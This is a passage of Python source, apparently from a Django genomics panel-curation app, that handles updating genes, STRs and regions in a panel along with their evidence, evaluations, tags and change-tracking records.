\"Updating mop for gene:{} in panel:{}\".format(gene_symbol, self)\n )\n\n description = \"Mode of pathogenicity for gene {} was changed from {} to {}\".format(\n gene_symbol, gene.mode_of_pathogenicity, mop\n )\n gene.mode_of_pathogenicity = mop\n tracks.append(\n (TrackRecord.ISSUE_TYPES.SetModeofPathogenicity, description)\n )\n\n phenotypes = gene_data.get(\"phenotypes\")\n if phenotypes:\n logging.debug(\n \"Updating phenotypes for {} in panel:{}\".format(gene.label, self)\n )\n\n description = None\n\n if append_only:\n description = \"Added phenotypes {} for {}\".format(\n \"; \".join(phenotypes), gene.label\n )\n gene.phenotypes = list(set(gene.phenotypes + phenotypes))\n elif phenotypes != gene.phenotypes:\n description = \"Phenotypes for {} were changed from {} to {}\".format(\n gene.label, \"; \".join(gene.phenotypes), \"; \".join(phenotypes)\n )\n gene.phenotypes = phenotypes\n\n if description:\n tracks.append((TrackRecord.ISSUE_TYPES.SetPhenotypes, description))\n\n penetrance = gene_data.get(\"penetrance\")\n if penetrance and gene.penetrance != penetrance:\n logging.debug(\n \"Updating penetrance for gene:{} in panel:{}\".format(\n gene_symbol, self\n )\n )\n description = \"Penetrance for gene {} was set from to {}\".format(\n gene_symbol, gene.penetrance, penetrance\n )\n gene.penetrance = penetrance\n tracks.append((TrackRecord.ISSUE_TYPES.SetPenetrance, description))\n\n publications = gene_data.get(\"publications\")\n if publications and gene.publications != publications:\n logging.debug(\n \"Updating publications for gene:{} in panel:{}\".format(\n gene_symbol, self\n )\n )\n description = \"Publications for gene {} were changed from {} to {}\".format(\n gene_symbol, \"; \".join(gene.publications), \"; \".join(publications)\n )\n gene.publications = publications\n tracks.append((TrackRecord.ISSUE_TYPES.SetPublications, description))\n\n current_tags = [tag.pk for tag in gene.tags.all()]\n tags = gene_data.get(\"tags\")\n if tags or current_tags:\n if not tags:\n tags = []\n\n new_tags = [tag.pk for tag in tags]\n add_tags = [tag for tag in tags if tag.pk not in current_tags]\n delete_tags = [tag for tag in current_tags if tag not in new_tags]\n\n if not append_only:\n for tag in delete_tags:\n tag = gene.tags.get(pk=tag)\n gene.tags.remove(tag)\n logging.debug(\n \"Removing tag:{} for gene:{} panel:{}\".format(\n tag.name, gene_symbol, self\n )\n )\n description = \"Tag {} was removed from {}.\".format(\n tag, gene_symbol\n )\n tracks.append((TrackRecord.ISSUE_TYPES.RemovedTag, description))\n\n for tag in add_tags:\n logging.debug(\n \"Adding new tag:{} for gene:{} panel:{}\".format(\n tag, gene_symbol, self\n )\n )\n gene.tags.add(tag)\n\n description = \"Tag {} tag was added to {}.\".format(tag, gene_symbol)\n tracks.append((TrackRecord.ISSUE_TYPES.AddedTag, description))\n\n if tracks:\n logging.debug(\n \"Adding tracks for gene:{} in panel:{}\".format(gene_symbol, self)\n )\n current_status = gene.saved_gel_status\n status = gene.evidence_status(True)\n\n if current_status != status:\n if current_status > 3:\n current_status = 3\n elif current_status < 0:\n current_status = 0\n\n current_status_human = gene.GEL_STATUS[current_status]\n\n if status > 3:\n status = 3\n elif status < 0:\n status = 0\n\n status_human = gene.GEL_STATUS[status]\n\n description = \"Rating Changed from {current_status_human} to {status_human}\".format(\n current_status_human=current_status_human,\n status_human=status_human,\n )\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.GelStatusUpdate, description)\n )\n\n description = \"\\n\".join([t[1] for t in tracks])\n track = TrackRecord.objects.create(\n gel_status=status,\n curator_status=0,\n user=user,\n issue_type=\",\".join([t[0] for t in tracks]),\n issue_description=description,\n )\n gene.track.add(track)\n self.add_activity(user, description, gene)\n\n new_gene = gene_data.get(\"gene\")\n gene_name = gene_data.get(\"gene_name\")\n\n if new_gene and gene.gene_core != new_gene:\n logging.debug(\n \"Gene:{} in panel:{} has changed to gene:{}\".format(\n gene_symbol, self, new_gene.gene_symbol\n )\n )\n old_gene_symbol = gene.gene_core.gene_symbol\n\n evidences = gene.evidence.all()\n for evidence in evidences:\n evidence.pk = None\n\n evaluations = gene.evaluation.all()\n for evaluation in evaluations:\n evaluation.create_comments = []\n for comment in evaluation.comments.all():\n comment.pk = None\n evaluation.create_comments.append(comment)\n evaluation.pk = None\n\n tracks = gene.track.all()\n for track in tracks:\n track.pk = None\n\n tags = gene.tags.all()\n\n comments = gene.comments.all()\n for comment in comments:\n comment.pk = None\n\n new_gpes = gene\n new_gpes.gene_core = new_gene\n new_gpes.gene = new_gene.dict_tr()\n new_gpes.pk = None\n new_gpes.panel = self\n new_gpes.save()\n\n Evidence.objects.bulk_create(evidences)\n new_gpes.evidence.through.objects.bulk_create(\n [\n new_gpes.evidence.through(\n **{\n \"evidence_id\": ev.pk,\n \"genepanelentrysnapshot_id\": new_gpes.pk,\n }\n )\n for ev in evidences\n ]\n )\n\n Evaluation.objects.bulk_create(evaluations)\n new_gpes.evaluation.through.objects.bulk_create(\n [\n new_gpes.evaluation.through(\n **{\n \"evaluation_id\": ev.pk,\n \"genepanelentrysnapshot_id\": new_gpes.pk,\n }\n )\n for ev in evaluations\n ]\n )\n\n for evaluation in evaluations:\n Comment.objects.bulk_create(evaluation.create_comments)\n\n evaluation_comments = []\n for evaluation in evaluations:\n for comment in evaluation.create_comments:\n evaluation_comments.append(\n Evaluation.comments.through(\n **{\n \"comment_id\": comment.pk,\n \"evaluation_id\": evaluation.pk,\n }\n )\n )\n\n Evaluation.comments.through.objects.bulk_create(evaluation_comments)\n\n TrackRecord.objects.bulk_create(tracks)\n new_gpes.track.through.objects.bulk_create(\n [\n new_gpes.track.through(\n **{\n \"trackrecord_id\": track.pk,\n \"genepanelentrysnapshot_id\": new_gpes.pk,\n }\n )\n for track in tracks\n ]\n )\n\n new_gpes.tags.through.objects.bulk_create(\n [\n new_gpes.tags.through(\n **{\n \"tag_id\": tag.pk,\n \"genepanelentrysnapshot_id\": new_gpes.pk,\n }\n )\n for tag in tags\n ]\n )\n\n Comment.objects.bulk_create(comments)\n new_gpes.comments.through.objects.bulk_create(\n [\n new_gpes.comments.through(\n **{\n \"comment_id\": comment.pk,\n \"genepanelentrysnapshot_id\": new_gpes.pk,\n }\n )\n for comment in comments\n ]\n )\n\n description = \"{} was changed to {}\".format(\n old_gene_symbol, new_gene.gene_symbol\n )\n track_gene = TrackRecord.objects.create(\n gel_status=new_gpes.status,\n curator_status=0,\n user=user,\n issue_type=TrackRecord.ISSUE_TYPES.ChangedGeneName,\n issue_description=description,\n )\n new_gpes.track.add(track_gene)\n self.add_activity(user, description, gene)\n\n if gene_symbol.startswith(\"MT-\"):\n new_gpes.moi = \"MITOCHONDRIAL\"\n description = \"Mode of inheritance for gene {} was set to {}\".format(\n gene_symbol, \"MITOCHONDRIAL\"\n )\n track_moi = TrackRecord.objects.create(\n gel_status=new_gpes.status,\n curator_status=0,\n user=user,\n issue_type=TrackRecord.ISSUE_TYPES.SetModeofInheritance,\n issue_description=description,\n )\n new_gpes.track.add(track_moi)\n self.add_activity(user, description, gene)\n\n self.delete_gene(old_gene_symbol, increment=False)\n self.clear_cache()\n self.clear_django_cache()\n self._update_saved_stats()\n return new_gpes\n elif gene_name and gene.gene.get(\"gene_name\") != gene_name:\n logging.debug(\n \"Updating gene_name for gene:{} in panel:{}\".format(\n gene_symbol, self\n )\n )\n gene.gene[\"gene_name\"] = gene_name\n gene.save()\n else:\n gene.save()\n self.clear_cache()\n self._update_saved_stats()\n return gene\n else:\n return False\n\n def add_str(self, user, str_name, str_data, increment_version=True):\n \"\"\"Adds a new gene to the panel\n\n Args:\n user: User instance. It's the user who is adding a new gene, we need\n this info to add to TrackRecord, Activities, Evidence, and Evaluation\n str_name: STR name\n str_data: A dict with the values:\n - chromosome\n - position_37\n - position_38\n - normal_repeats\n - pathogenic_repeats\n - repeated_sequence\n - moi\n - penetrance\n - publications\n - phenotypes\n - comment\n - current_diagnostic\n - sources\n - rating\n - tags\n increment_version: (optional) Boolean\n\n Returns:\n STR instance.\n Or False in case the gene is already in the panel.\n \"\"\"\n\n if self.has_str(str_name):\n return False\n\n if increment_version:\n self = self.increment_version()\n\n str_item = self.str_set.model(\n name=str_name,\n chromosome=str_data.get(\"chromosome\"),\n position_37=str_data.get(\"position_37\"),\n position_38=str_data.get(\"position_38\"),\n normal_repeats=str_data.get(\"normal_repeats\"),\n repeated_sequence=str_data.get(\"repeated_sequence\"),\n pathogenic_repeats=str_data.get(\"pathogenic_repeats\"),\n panel=self,\n moi=str_data.get(\"moi\"),\n penetrance=str_data.get(\"penetrance\"),\n publications=str_data.get(\"publications\"),\n phenotypes=str_data.get(\"phenotypes\"),\n saved_gel_status=0,\n flagged=False if user.reviewer.is_GEL() else True,\n )\n\n if str_data.get(\"gene\"):\n gene_core = Gene.objects.get(gene_symbol=str_data[\"gene\"].gene_symbol)\n gene_info = gene_core.dict_tr()\n\n str_item.gene_core = gene_core\n str_item.gene = gene_info\n\n str_item.save()\n str_item = self.add_entity_info(str_item, user, str_item.label, str_data)\n\n str_item.evidence_status(update=True)\n self._update_saved_stats()\n return str_item\n\n def update_str(\n self, user, str_name, str_data, append_only=False, remove_gene=False\n ):\n \"\"\"Updates a STR if it exists in this panel\n\n Args:\n user: User instance. It's the user who is updating a gene, we need\n this info to add to TrackRecord, Activities, Evidence, and Evaluation\n str_name: STR name\n str_data: A dict with the values:\n - name\n - position_37\n - position_38\n - repeated_sequence\n - normal_range\n - prepathogenic_range\n - pathogenic_range\n - moi\n - penetrance\n - publications\n - phenotypes\n - comment\n - current_diagnostic\n - sources\n - rating\n - gene\n\n if `gene` is in the gene_data and it's different to the stored gene\n it will change the gene data, and remove the old gene from the panel.\n append_only: bool If it's True we don't remove evidences, but only add them\n remove_gene: bool Remove gene data from this STR\n\n Returns:\n STR if the gene was successfully updated, False otherwise\n \"\"\"\n if self.is_super_panel:\n raise IsSuperPanelException\n\n logging.debug(\n \"Updating STR:{} panel:{} str_data:{}\".format(str_name, self, str_data)\n )\n has_str = self.has_str(str_name)\n if has_str:\n logging.debug(\n \"Found STR:{} in panel:{}. Incrementing version.\".format(str_name, self)\n )\n str_item = self.get_str(str_name)\n\n if str_data.get(\"flagged\") is not None:\n str_item.flagged = str_data.get(\"flagged\")\n\n tracks = []\n\n if str_data.get(\"name\") and str_data.get(\"name\") != str_name:\n if self.has_str(str_data.get(\"name\")):\n logging.info(\n \"Can't change STR name as the new name already exist in panel:{}\".format(\n self\n )\n )\n return False\n\n old_str_name = str_item.name\n\n new_evidences = str_item.evidence.all()\n for evidence in new_evidences:\n evidence.pk = None\n\n new_evaluations = str_item.evaluation.all()\n for evaluation in new_evaluations:\n evaluation.create_comments = []\n for comment in evaluation.comments.all():\n comment.pk = None\n evaluation.create_comments.append(comment)\n evaluation.pk = None\n\n new_tracks = str_item.track.all()\n for track in new_tracks:\n track.pk = None\n\n tags = str_item.tags.all()\n\n new_comments = str_item.comments.all()\n for comment in new_comments:\n comment.pk = None\n\n str_item.name = str_data.get(\"name\")\n str_item.pk = None\n str_item.panel = self\n str_item.save()\n\n Evidence.objects.bulk_create(new_evidences)\n str_item.evidence.through.objects.bulk_create(\n [\n str_item.evidence.through(\n **{\"evidence_id\": ev.pk, \"str_id\": str_item.pk}\n )\n for ev in new_evidences\n ]\n )\n\n Evaluation.objects.bulk_create(new_evaluations)\n str_item.evaluation.through.objects.bulk_create(\n [\n str_item.evaluation.through(\n **{\"evaluation_id\": ev.pk, \"str_id\": str_item.pk}\n )\n for ev in new_evaluations\n ]\n )\n\n for evaluation in new_evaluations:\n Comment.objects.bulk_create(evaluation.create_comments)\n\n evaluation_comments = []\n for evaluation in new_evaluations:\n for comment in evaluation.create_comments:\n evaluation_comments.append(\n Evaluation.comments.through(\n **{\n \"comment_id\": comment.pk,\n \"evaluation_id\": evaluation.pk,\n }\n )\n )\n\n Evaluation.comments.through.objects.bulk_create(evaluation_comments)\n\n TrackRecord.objects.bulk_create(new_tracks)\n str_item.track.through.objects.bulk_create(\n [\n str_item.track.through(\n **{\"trackrecord_id\": track.pk, \"str_id\": str_item.pk}\n )\n for track in new_tracks\n ]\n )\n\n str_item.tags.through.objects.bulk_create(\n [\n str_item.tags.through(\n **{\"tag_id\": tag.pk, \"str_id\": str_item.pk}\n )\n for tag in tags\n ]\n )\n\n Comment.objects.bulk_create(new_comments)\n str_item.comments.through.objects.bulk_create(\n [\n str_item.comments.through(\n **{\"comment_id\": comment.pk, \"str_id\": str_item.pk}\n )\n for comment in new_comments\n ]\n )\n\n description = \"{} was changed to {}\".format(old_str_name, str_item.name)\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedSTRName, description))\n self.delete_str(old_str_name, increment=False)\n logging.debug(\n \"Changed STR name:{} to {} panel:{}\".format(\n str_name, str_data.get(\"name\"), self\n )\n )\n\n chromosome = str_data.get(\"chromosome\")\n if chromosome and chromosome != str_item.chromosome:\n logging.debug(\n \"Chromosome for {} was changed from {} to {} panel:{}\".format(\n str_item.label,\n str_item.chromosome,\n str_data.get(\"chromosome\"),\n self,\n )\n )\n\n description = \"Chromosome for {} was changed from {} to {}. Panel: {}\".format(\n str_item.name,\n str_item.chromosome,\n str_data.get(\"chromosome\"),\n self.panel.name,\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedChromosome, description))\n\n str_item.chromosome = str_data.get(\"chromosome\")\n\n position_37 = str_data.get(\"position_37\")\n if isinstance(position_37, list):\n position_37 = NumericRange(position_37[0], position_37[1])\n\n if position_37 != str_item.position_37:\n logging.debug(\n \"GRCh37 position for {} was changed from {} to {} panel:{}\".format(\n str_item.label,\n str_item.position_37,\n str_data.get(\"position_37\"),\n self,\n )\n )\n\n if position_37:\n if str_item.position_37:\n old_position = \"{}-{}\".format(\n str_item.position_37.lower, str_item.position_37.upper\n )\n else:\n old_position = \"-\"\n\n new_position = \"{}-{}\".format(position_37.lower, position_37.upper)\n\n description = \"GRCh37 position for {} was changed from {} to {}.\".format(\n str_item.name, old_position, new_position\n )\n else:\n description = \"GRCh37 position for {} was removed.\".format(\n str_item.label\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedPosition37, description))\n\n str_item.position_37 = position_37\n\n position_38 = str_data.get(\"position_38\")\n if isinstance(position_38, list):\n position_38 = NumericRange(position_38[0], position_38[1])\n\n if position_38 and position_38 != str_item.position_38:\n if str_item.position_38:\n old_position = \"{}-{}\".format(\n str_item.position_38.lower, str_item.position_38.upper\n )\n else:\n old_position = \"-\"\n\n new_position = \"{}-{}\".format(position_38.lower, position_38.upper)\n\n logging.debug(\n \"GRCh38 position for {} was changed from {} to {} panel:{}\".format(\n str_item.label,\n str_item.position_38,\n str_data.get(\"position_38\"),\n self,\n )\n )\n\n description = \"GRCh38 position for {} was changed from {} to {}.\".format(\n str_item.name, old_position, new_position\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedPosition38, description))\n\n str_item.position_38 = str_data.get(\"position_38\")\n\n repeated_sequence = str_data.get(\"repeated_sequence\")\n if repeated_sequence and repeated_sequence != str_item.repeated_sequence:\n logging.debug(\n \"Repeated Sequence for {} was changed from {} to {} panel:{}\".format(\n str_item.label,\n str_item.repeated_sequence,\n str_data.get(\"repeated_sequence\"),\n self,\n )\n )\n\n description = \"Repeated Sequence for {} was changed from {} to {}.\".format(\n str_item.name,\n str_item.repeated_sequence,\n str_data.get(\"repeated_sequence\"),\n )\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.ChangedRepeatedSequence, description)\n )\n\n str_item.repeated_sequence = str_data.get(\"repeated_sequence\")\n\n normal_repeats = str_data.get(\"normal_repeats\")\n if normal_repeats and normal_repeats != str_item.normal_repeats:\n logging.debug(\n \"Normal Number of Repeats for {} was changed from {} to {} panel:{}\".format(\n str_item.label,\n str_item.normal_repeats,\n str_data.get(\"normal_repeats\"),\n self,\n )\n )\n\n description = \"Normal Number of Repeats for {} was changed from {} to {}.\".format(\n str_item.name,\n str_item.normal_repeats,\n str_data.get(\"normal_repeats\"),\n )\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.ChangedNormalRepeats, description)\n )\n\n str_item.normal_repeats = str_data.get(\"normal_repeats\")\n\n pathogenic_repeats = str_data.get(\"pathogenic_repeats\")\n if pathogenic_repeats and pathogenic_repeats != str_item.pathogenic_repeats:\n logging.debug(\n \"Pathogenic Number of Repeats for {} was changed from {} to {} panel:{}\".format(\n str_item.label,\n str_item.pathogenic_repeats,\n str_data.get(\"pathogenic_repeats\"),\n self,\n )\n )\n\n description = \"Pathogenic Number of Repeats for {} was changed from {} to {}.\".format(\n str_item.name,\n str_item.pathogenic_repeats,\n str_data.get(\"pathogenic_repeats\"),\n )\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.ChangedPathogenicRepeats, description)\n )\n\n str_item.pathogenic_repeats = str_data.get(\"pathogenic_repeats\")\n\n evidences_names = [\n ev.strip() for ev in str_item.evidence.values_list(\"name\", flat=True)\n ]\n\n logging.debug(\n \"Updating evidences_names for {} in panel:{}\".format(\n str_item.label, self\n )\n )\n if str_data.get(\"sources\"):\n add_evidences = [\n source.strip()\n for source in str_data.get(\"sources\")\n if source not in evidences_names\n ]\n\n has_expert_review = any(\n [evidence in Evidence.EXPERT_REVIEWS for evidence in add_evidences]\n )\n\n delete_evidences = [\n source\n for source in evidences_names\n if (has_expert_review or source not in Evidence.EXPERT_REVIEWS)\n and source not in str_data.get(\"sources\")\n ]\n\n if append_only and has_expert_review:\n # just remove expert review\n expert_reviews = [\n source\n for source in evidences_names\n if source in Evidence.EXPERT_REVIEWS\n ]\n for expert_review in expert_reviews:\n evs = str_item.evidence.filter(name=expert_review)\n for ev in evs:\n str_item.evidence.remove(ev)\n elif not append_only:\n for source in delete_evidences:\n evs = str_item.evidence.filter(name=source)\n for ev in evs:\n str_item.evidence.remove(ev)\n logging.debug(\n \"Removing evidence:{} for {} panel:{}\".format(\n source, str_item.label, self\n )\n )\n description = \"Source {} was removed from {}.\".format(\n source, str_item.label\n )\n tracks.append(\n (TrackRecord.ISSUE_TYPES.RemovedSource, description)\n )\n\n for source in add_evidences:\n logging.debug(\n \"Adding new evidence:{} for {} panel:{}\".format(\n source, str_item.label, self\n )\n )\n evidence = Evidence.objects.create(\n name=source, rating=5, reviewer=user.reviewer\n )\n str_item.evidence.add(evidence)\n\n description = \"Source {} was added to {}.\".format(\n source, str_item.label\n )\n tracks.append((TrackRecord.ISSUE_TYPES.NewSource, description))\n\n moi = str_data.get(\"moi\")\n if moi and str_item.moi != moi:\n logging.debug(\n \"Updating moi for {} in panel:{}\".format(str_item.label, self)\n )\n\n description = \"Mode of inheritance for {} was changed from {} to {}\".format(\n str_item.label, str_item.moi, moi\n )\n str_item.moi = moi\n tracks.append(\n (TrackRecord.ISSUE_TYPES.SetModeofInheritance, description)\n )\n\n phenotypes = str_data.get(\"phenotypes\")\n if phenotypes and phenotypes != str_item.phenotypes:\n logging.debug(\n \"Updating phenotypes for {} in panel:{}\".format(\n str_item.label, self\n )\n )\n\n description = None\n\n if append_only:\n description = \"Added phenotypes {} for {}\".format(\n \"; \".join(phenotypes), str_item.label\n )\n str_item.phenotypes = list(set(str_item.phenotypes + phenotypes))\n elif phenotypes != str_item.phenotypes:\n description = \"Phenotypes for {} were changed from {} to {}\".format(\n str_item.label,\n \"; \".join(str_item.phenotypes),\n \"; \".join(phenotypes),\n )\n str_item.phenotypes = phenotypes\n\n if description:\n tracks.append((TrackRecord.ISSUE_TYPES.SetPhenotypes, description))\n\n penetrance = str_data.get(\"penetrance\")\n if penetrance and str_item.penetrance != penetrance:\n logging.debug(\n \"Updating penetrance for {} in panel:{}\".format(\n str_item.label, self\n )\n )\n description = \"Penetrance for {} were changed from {} to {}\".format(\n str_item.name, str_item.penetrance, penetrance\n )\n str_item.penetrance = penetrance\n tracks.append((TrackRecord.ISSUE_TYPES.SetPenetrance, description))\n\n publications = str_data.get(\"publications\")\n if publications and str_item.publications != publications:\n logging.debug(\n \"Updating publications for {} in panel:{}\".format(\n str_item.label, self\n )\n )\n description = \"Publications for {} were changed from {} to {}\".format(\n str_item.label,\n \"; \".join(str_item.publications),\n \"; \".join(publications),\n )\n str_item.publications = publications\n tracks.append((TrackRecord.ISSUE_TYPES.SetPublications, description))\n\n current_tags = [tag.pk for tag in str_item.tags.all()]\n tags = str_data.get(\"tags\")\n if tags or current_tags:\n if not tags:\n tags = []\n\n new_tags = [tag.pk for tag in tags]\n add_tags = [tag for tag in tags if tag.pk not in current_tags]\n delete_tags = [tag for tag in current_tags if tag not in new_tags]\n\n if not append_only:\n for tag in delete_tags:\n tag = str_item.tags.get(pk=tag)\n str_item.tags.remove(tag)\n logging.debug(\n \"Removing tag:{} for {} panel:{}\".format(\n tag.name, str_item.label, self\n )\n )\n description = \"Tag {} was removed from {}.\".format(\n tag, str_item.label\n )\n tracks.append((TrackRecord.ISSUE_TYPES.RemovedTag, description))\n\n for tag in add_tags:\n logging.debug(\n \"Adding new tag:{} for {} panel:{}\".format(\n tag, str_item.label, self\n )\n )\n str_item.tags.add(tag)\n\n description = \"Tag {} was added to {}.\".format(tag, str_item.label)\n tracks.append((TrackRecord.ISSUE_TYPES.AddedTag, description))\n\n new_gene = str_data.get(\"gene\")\n gene_name = str_data.get(\"gene_name\")\n\n if (not new_gene or remove_gene) and str_item.gene_core:\n logging.debug(\n \"{} in panel:{} was removed\".format(\n str_item.gene[\"gene_name\"], self\n )\n )\n\n description = \"Gene: {} was removed.\".format(\n str_item.gene_core.gene_symbol\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.RemovedGene, description))\n str_item.gene_core = None\n str_item.gene = None\n self.clear_django_cache()\n elif new_gene and str_item.gene_core != new_gene:\n logging.debug(\n \"{} in panel:{} has changed to gene:{}\".format(\n str_name, self, new_gene.gene_symbol\n )\n )\n\n if str_item.gene_core:\n description = \"Gene: {} was changed to {}.\".format(\n str_item.gene_core.gene_symbol, new_gene.gene_symbol\n )\n else:\n description = \"Gene was set to {}.\".format(new_gene.gene_symbol)\n\n tracks.append((TrackRecord.ISSUE_TYPES.AddedTag, description))\n\n str_item.gene_core = new_gene\n str_item.gene = new_gene.dict_tr()\n self.clear_django_cache()\n elif gene_name and str_item.gene.get(\"gene_name\") != gene_name:\n logging.debug(\n \"Updating gene_name for {} in panel:{}\".format(str_item.label, self)\n )\n str_item.gene[\"gene_name\"] = gene_name\n\n if tracks:\n logging.debug(\n \"Adding tracks for {} in panel:{}\".format(str_item.label, self)\n )\n current_status = str_item.saved_gel_status\n status = str_item.evidence_status(True)\n\n if current_status != status:\n if current_status > 3:\n current_status = 3\n elif current_status < 0:\n current_status = 0\n\n current_status_human = str_item.GEL_STATUS[current_status]\n\n if status > 3:\n status = 3\n elif status < 0:\n status = 0\n\n status_human = str_item.GEL_STATUS[status]\n\n description = \"Rating Changed from {current_status_human} to {status_human}\".format(\n current_status_human=current_status_human,\n status_human=status_human,\n )\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.GelStatusUpdate, description)\n )\n\n description = \"\\n\".join([t[1] for t in tracks])\n track = TrackRecord.objects.create(\n gel_status=status,\n curator_status=0,\n user=user,\n issue_type=\",\".join([t[0] for t in tracks]),\n issue_description=description,\n )\n str_item.track.add(track)\n self.add_activity(user, description, str_item)\n\n str_item.save()\n self.clear_cache()\n self._update_saved_stats()\n return str_item\n else:\n return False\n\n def add_region(self, user, region_name, region_data, increment_version=True):\n \"\"\"Adds a new gene to the panel\n\n Args:\n user: User instance. It's the user who is adding a new gene, we need\n this info to add to TrackRecord, Activities, Evidence, and Evaluation\n str_name: STR name\n str_data: A dict with the values:\n - chromosome\n - position_37\n - position_38\n - type_of_variants\n - type_of_effects[]\n - moi\n - penetrance\n - publications\n - phenotypes\n - comment\n - current_diagnostic\n - sources\n - rating\n - tags\n increment_version: (optional) Boolean\n\n Returns:\n STR instance.\n Or False in case the gene is already in the panel.\n \"\"\"\n\n if self.has_region(region_name):\n return False\n\n if increment_version:\n self = self.increment_version()\n\n region = self.region_set.model(\n name=region_name,\n verbose_name=region_data.get(\"verbose_name\"),\n chromosome=region_data.get(\"chromosome\"),\n position_37=region_data.get(\"position_37\"),\n position_38=region_data.get(\"position_38\"),\n haploinsufficiency_score=region_data.get(\"haploinsufficiency_score\"),\n triplosensitivity_score=region_data.get(\"triplosensitivity_score\"),\n required_overlap_percentage=region_data.get(\"required_overlap_percentage\"),\n type_of_variants=region_data.get(\n \"type_of_variants\", self.cached_regions.model.VARIANT_TYPES.small\n ),\n panel=self,\n moi=region_data.get(\"moi\"),\n penetrance=region_data.get(\"penetrance\"),\n publications=region_data.get(\"publications\"),\n phenotypes=region_data.get(\"phenotypes\"),\n saved_gel_status=0,\n flagged=False if user.reviewer.is_GEL() else True,\n )\n\n if region_data.get(\"gene\"):\n gene_core = Gene.objects.get(gene_symbol=region_data[\"gene\"].gene_symbol)\n gene_info = gene_core.dict_tr()\n\n region.gene_core = gene_core\n region.gene = gene_info\n\n region.save()\n region = self.add_entity_info(region, user, region.label, region_data)\n\n region.evidence_status(update=True)\n self._update_saved_stats()\n return region\n\n def update_region(\n self, user, region_name, region_data, append_only=False, remove_gene=False\n ):\n \"\"\"Updates a Region if it exists in this panel\n\n Args:\n user: User instance. It's the user who is updating a gene, we need\n this info to add to TrackRecord, Activities, Evidence, and Evaluation\n region_name: Region name\n region_data: A dict with the values:\n - name\n - chromosome\n - position_37\n - position_38\n - type_of_variants\n - type_of_effects\n - moi\n - penetrance\n - publications\n - phenotypes\n - comment\n - current_diagnostic\n - sources\n - rating\n - gene\n\n if `gene` is in the gene_data and it's different to the stored gene\n it will change the gene data, and remove the old gene from the panel.\n append_only: bool If it's True we don't remove evidences, but only add them\n remove_gene: bool Remove gene data from this region\n\n Returns:\n Region if the it was successfully updated, False otherwise\n \"\"\"\n\n logging.debug(\n \"Updating Region:{} panel:{} region_data:{}\".format(\n region_name, self, region_data\n )\n )\n has_region = self.has_region(region_name)\n if has_region:\n logging.debug(\n \"Found Region:{} in panel:{}. Incrementing version.\".format(\n region_name, self\n )\n )\n region = self.get_region(region_name)\n\n if region_data.get(\"flagged\") is not None:\n region.flagged = region_data.get(\"flagged\")\n\n tracks = []\n\n if region_data.get(\"name\") and region_data.get(\"name\") != region_name:\n if self.has_region(region_data.get(\"name\")):\n logging.info(\n \"Can't change Region name as the new name already exist in panel:{}\".format(\n self\n )\n )\n return False\n\n old_region_name = region.name\n\n new_evidences = region.evidence.all()\n for evidence in new_evidences:\n evidence.pk = None\n\n new_evaluations = region.evaluation.all()\n for evaluation in new_evaluations:\n evaluation.create_comments = []\n for comment in evaluation.comments.all():\n comment.pk = None\n evaluation.create_comments.append(comment)\n evaluation.pk = None\n\n new_tracks = region.track.all()\n for track in new_tracks:\n track.pk = None\n\n tags = region.tags.all()\n\n new_comments = region.comments.all()\n for comment in new_comments:\n comment.pk = None\n\n region.name = region_data.get(\"name\")\n region.pk = None\n region.panel = self\n region.save()\n\n Evidence.objects.bulk_create(new_evidences)\n region.evidence.through.objects.bulk_create(\n [\n region.evidence.through(\n **{\"evidence_id\": ev.pk, \"region_id\": region.pk}\n )\n for ev in new_evidences\n ]\n )\n\n Evaluation.objects.bulk_create(new_evaluations)\n region.evaluation.through.objects.bulk_create(\n [\n region.evaluation.through(\n **{\"evaluation_id\": ev.pk, \"region_id\": region.pk}\n )\n for ev in new_evaluations\n ]\n )\n\n for evaluation in new_evaluations:\n Comment.objects.bulk_create(evaluation.create_comments)\n\n evaluation_comments = []\n for evaluation in new_evaluations:\n for comment in evaluation.create_comments:\n evaluation_comments.append(\n Evaluation.comments.through(\n **{\n \"comment_id\": comment.pk,\n \"evaluation_id\": evaluation.pk,\n }\n )\n )\n\n Evaluation.comments.through.objects.bulk_create(evaluation_comments)\n\n TrackRecord.objects.bulk_create(new_tracks)\n region.track.through.objects.bulk_create(\n [\n region.track.through(\n **{\"trackrecord_id\": track.pk, \"region_id\": region.pk}\n )\n for track in new_tracks\n ]\n )\n\n region.tags.through.objects.bulk_create(\n [\n region.tags.through(\n **{\"tag_id\": tag.pk, \"region_id\": region.pk}\n )\n for tag in tags\n ]\n )\n\n Comment.objects.bulk_create(new_comments)\n region.comments.through.objects.bulk_create(\n [\n region.comments.through(\n **{\"comment_id\": comment.pk, \"region_id\": region.pk}\n )\n for comment in new_comments\n ]\n )\n\n description = \"{} was changed to {}\".format(\n old_region_name, region.name\n )\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedName, description))\n\n self.delete_region(old_region_name, increment=False)\n logging.debug(\n \"Changed region name:{} to {} panel:{}\".format(\n region_name, region_data.get(\"name\"), self\n )\n )\n\n verbose_name = region_data.get(\"verbose_name\")\n if verbose_name and verbose_name != region.verbose_name:\n description = \"{} was changed to {}\".format(\n region.verbose_name, verbose_name\n )\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedName, description))\n region.verbose_name = verbose_name\n\n chromosome = region_data.get(\"chromosome\")\n if chromosome and chromosome != region.chromosome:\n logging.debug(\n \"Chromosome for {} was changed from {} to {}\".format(\n region.label, region.chromosome, region_data.get(\"chromosome\")\n )\n )\n\n description = \"Chromosome for {} was changed from {} to {}.\".format(\n region.name, region.chromosome, region_data.get(\"chromosome\")\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.ChangedChromosome, description))\n\n region.chromosome = region_data.get(\"chromosome\")\n\n position_37 = region_data.get(\"position_37\")\n if isinstance(position_37, list):\n position_37 = NumericRange(position_37[0], position_37[1])\n if position_37 != region.position_37:\n logging.debug(\n \"GRCh37 position for {} was changed from {} to {} panel:{}\".format(\n region.label,\n region.position_37,\n region_data.get(\"position_37\"),\n self,\n )\n )\n\n if position_37:\n if region.position_37:\n old_position = \"{}-{}\".format(\n region.position_37.lower, region.position_37.upper\n )\n else:\n old_position = \"-\"\n\n 